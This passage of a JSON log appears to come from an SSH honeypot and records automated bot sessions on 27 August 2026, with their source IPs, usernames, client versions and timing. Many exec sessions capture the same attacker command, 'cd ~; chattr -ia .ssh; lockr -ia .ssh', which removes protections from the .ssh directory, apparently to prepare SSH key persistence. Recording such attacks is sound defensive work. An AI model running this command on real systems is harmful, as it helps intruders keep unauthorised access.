  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:03:36.856359+00:00",
  "ended_at": "2026-08-27T13:03:37.869941+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f682362-d5e7-4e59-b4bd-42fd12ad9a28",
  "name": "orderly-mighty-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 59570,
  "username": "kd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:02:26.363338+00:00",
  "ended_at": "2026-08-27T13:02:28.596587+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "1f66fbe8-6205-4ade-ad83-8d8bfbb20e70",
  "name": "arctic-hollow-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 37442,
  "username": "manish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:02:21.958827+00:00",
  "ended_at": "2026-08-27T13:02:23.873566+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39e77f3b-bb0b-4233-9aa1-ec492c261078",
  "name": "painted-stoic-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 37430,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:02:18.479640+00:00",
  "ended_at": "2026-08-27T13:02:20.353553+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f3379183-71c8-4aa5-80fc-22dc1ca5a40b",
  "name": "crystal-marbled-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 36968,
  "username": "manish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:02:15.401802+00:00",
  "ended_at": "2026-08-27T13:02:16.524606+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "ebcb1848-5249-4fdd-89c3-e9172f22b7e2",
  "name": "feathered-cheerful-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59600,
  "username": "kd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:02:11.508321+00:00",
  "ended_at": "2026-08-27T13:02:12.966551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b662831a-37d6-4aa2-9525-6f05f6e1384f",
  "name": "steady-bashful-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59586,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:02:09.932134+00:00",
  "ended_at": "2026-08-27T13:02:10.933943+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b2ada6f7-2f54-4666-b63f-64729d310e48",
  "name": "amber-seaward-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 47530,
  "username": "suraj",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:02:03.274397+00:00",
  "ended_at": "2026-08-27T13:02:04.383362+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "4e8cccf0-f1d9-4dac-8c76-75c2917cbf7d",
  "name": "golden-blithe-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 40198,
  "username": "suraj",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:41.155940+00:00",
  "ended_at": "2026-08-27T13:01:42.030400+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0e10a966-e349-401c-acab-556c4b3c698b",
  "name": "snowy-crimson-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 47534,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:39.111115+00:00",
  "ended_at": "2026-08-27T13:01:40.495591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a44aa23-34f2-4ab5-aab8-45dbfbbaff84",
  "name": "ancient-sullen-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 60000,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:01:22.570271+00:00",
  "ended_at": "2026-08-27T13:01:24.019166+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "dd9ddacc-5394-4a9b-9f5b-df3e4b4b5abb",
  "name": "proud-salty-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60026,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:05.858991+00:00",
  "ended_at": "2026-08-27T13:01:06.598111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac40197a-26d5-40dc-a7e5-d7a2dde51b6d",
  "name": "diligent-crystal-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 60010,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:01:03.354170+00:00",
  "ended_at": "2026-08-27T13:01:04.987309+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1299ead7-4c8d-4d6e-b457-56d7f39f78da",
  "name": "faded-upland-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 34556,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:00:24.397509+00:00",
  "ended_at": "2026-08-27T13:00:26.219203+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "4ece8435-a09b-40d6-80b1-401d239fc981",
  "name": "supple-weathered-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34560,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:00:09.869482+00:00",
  "ended_at": "2026-08-27T13:00:10.800409+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d392949-a4e5-4f63-834c-627a707fe5c0",
  "name": "vernal-polar-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34558,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T13:00:07.763487+00:00",
  "ended_at": "2026-08-27T13:00:09.291896+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5fda80f-7664-41f9-a4b0-921f3cd98379",
  "name": "russet-mindful-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 45620,
  "username": "admin1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T13:00:00.983466+00:00",
  "ended_at": "2026-08-27T13:00:02.535592+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2261
 },
 {
  "id": "64c9ac26-c36e-4ab0-9ec3-98bbcdf0d433",
  "name": "tidal-fringed-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45646,
  "username": "admin1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:45.776744+00:00",
  "ended_at": "2026-08-27T12:59:46.386320+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "391361d1-85c4-4163-a3bc-009c9a036642",
  "name": "craggy-burly-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 39936,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1116,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:59:43.655151+00:00",
  "ended_at": "2026-08-27T12:59:44.427483+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2332
 },
 {
  "id": "d91355f6-8367-41ae-9882-ce106b0ff799",
  "name": "arctic-mellow-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 45630,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:43.485539+00:00",
  "ended_at": "2026-08-27T12:59:45.122735+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5db6ab5f-6cea-4156-989f-2ab410be75ca",
  "name": "crisp-honest-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34688,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:23.528297+00:00",
  "ended_at": "2026-08-27T12:59:25.091372+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "860a6791-a3f4-4073-a631-2a8a43e2b33d",
  "name": "feral-wry-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:59:20.397620+00:00",
  "ended_at": "2026-08-27T12:59:21.866089+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fa311760-9d13-49dd-9e08-b5906e2ba25d",
  "name": "balmy-scarlet-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59974,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 458,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:58:39.450022+00:00",
  "ended_at": "2026-08-27T12:58:40.512283+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "42103dda-053e-4506-aa47-d5294316861b",
  "name": "verdant-proud-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59998,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:58:24.073588+00:00",
  "ended_at": "2026-08-27T12:58:24.936473+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4261b645-f0dc-4c18-9a93-e4988748d742",
  "name": "coastal-frosty-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:58:22.139885+00:00",
  "ended_at": "2026-08-27T12:58:23.199192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b81903e5-027f-4f03-b5d6-2907a4608d6e",
  "name": "brazen-prairie-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 34350,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:58:17.091596+00:00",
  "ended_at": "2026-08-27T12:58:18.000857+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "990db4c9-ea26-41b4-b957-2395fe52d53c",
  "name": "hushed-thorny-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34378,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:58:00.848161+00:00",
  "ended_at": "2026-08-27T12:58:01.591834+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "906c3514-79d5-41ae-a824-40aed4be2cef",
  "name": "keen-indigo-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 34364,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:57:59.253898+00:00",
  "ended_at": "2026-08-27T12:58:00.246883+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f5766448-702a-4f7c-9da4-fc116ddb10dc",
  "name": "deft-civil-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 56116,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:57:58.327929+00:00",
  "ended_at": "2026-08-27T12:57:59.404784+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "1f017aa2-1cad-41cc-b267-6b06f8c2d2ee",
  "name": "lanky-electric-lorikeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 56136,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:57:43.404175+00:00",
  "ended_at": "2026-08-27T12:57:44.458386+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3b27f9e-6ed6-4196-a2e2-18434252e9cc",
  "name": "golden-marbled-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 56130,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:57:42.095852+00:00",
  "ended_at": "2026-08-27T12:57:42.753286+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e60ce5f5-6dbd-4313-b46a-5991c59310f8",
  "name": "sandy-smooth-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 42206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 742,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:56:32.739534+00:00",
  "ended_at": "2026-08-27T12:56:33.501179+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "250eebcf-aea6-4e1f-bc21-b2948783b0f7",
  "name": "coral-murky-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 42222,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:56:17.904006+00:00",
  "ended_at": "2026-08-27T12:56:19.614163+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0a83286-66fd-4de3-8153-d3be8a4aaa3f",
  "name": "nameless-obsidian-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 42212,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:56:14.415174+00:00",
  "ended_at": "2026-08-27T12:56:16.198727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6813f20-da54-43e4-8628-5456f230fb6c",
  "name": "meadow-thrifty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 44592,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:56:13.484738+00:00",
  "ended_at": "2026-08-27T12:56:14.446308+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dbd209f5-dc7b-4904-92d7-6615076b6410",
  "name": "alpine-patient-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 53752,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:56:01.232088+00:00",
  "ended_at": "2026-08-27T12:56:03.197873+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "dab3dbe7-afbc-45fe-8deb-966d823900b3",
  "name": "barren-sooty-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47624,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:57.533245+00:00",
  "ended_at": "2026-08-27T12:55:58.461546+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c82930b5-e157-46ee-bba4-38d1b2a9066d",
  "name": "sincere-mindful-jaguar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44602,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:55.075378+00:00",
  "ended_at": "2026-08-27T12:55:56.949734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a14eff5-6cc0-41d5-9fc0-4fa9df943ae4",
  "name": "gallant-coral-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59934,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:55:54.249532+00:00",
  "ended_at": "2026-08-27T12:55:55.305917+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "ba98acb4-89f9-4369-8938-ed25c5822d12",
  "name": "whispering-jagged-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 53780,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:45.051749+00:00",
  "ended_at": "2026-08-27T12:55:46.051405+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d78d1c00-7325-45f7-8a04-a760eea94a2f",
  "name": "frank-chilly-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 53764,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:43.378544+00:00",
  "ended_at": "2026-08-27T12:55:44.364004+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9be06f9c-e697-4fb9-b6f6-16da28a9537f",
  "name": "silent-eager-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59958,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:36.145053+00:00",
  "ended_at": "2026-08-27T12:55:37.131145+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d6d5b297-29a8-450f-a520-ee25e04a4dcf",
  "name": "rugged-airy-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59942,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:55:34.263551+00:00",
  "ended_at": "2026-08-27T12:55:35.244930+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77fe352d-ca94-40a2-91d5-880dded9378e",
  "name": "oaken-curious-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 43992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:54:14.420708+00:00",
  "ended_at": "2026-08-27T12:54:15.991145+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "531cd024-fe1e-45ff-b7d0-72e35385721e",
  "name": "fierce-freckled-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 49812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:54:05.492043+00:00",
  "ended_at": "2026-08-27T12:54:07.607201+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f1020119-4ea4-4910-8fac-75f4eda3f84e",
  "name": "cunning-quartz-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44012,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:59.189158+00:00",
  "ended_at": "2026-08-27T12:54:00.976479+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f235dfb-ce93-452f-9a97-6a180a7cbec5",
  "name": "ruddy-tidal-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 44008,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:57.540818+00:00",
  "ended_at": "2026-08-27T12:53:58.592377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4ae9bdf-98aa-4d50-9031-a865cd7847d6",
  "name": "wiry-crystal-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51566,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:49.222503+00:00",
  "ended_at": "2026-08-27T12:53:49.824622+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2cd7726d-73f3-48fd-99cd-d1f621326136",
  "name": "drifting-downy-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 49822,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:53:47.582639+00:00",
  "ended_at": "2026-08-27T12:53:48.574067+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a2c05d7-d1f7-4927-b366-3ad898d3786c",
  "name": "subtle-burly-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 50730,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
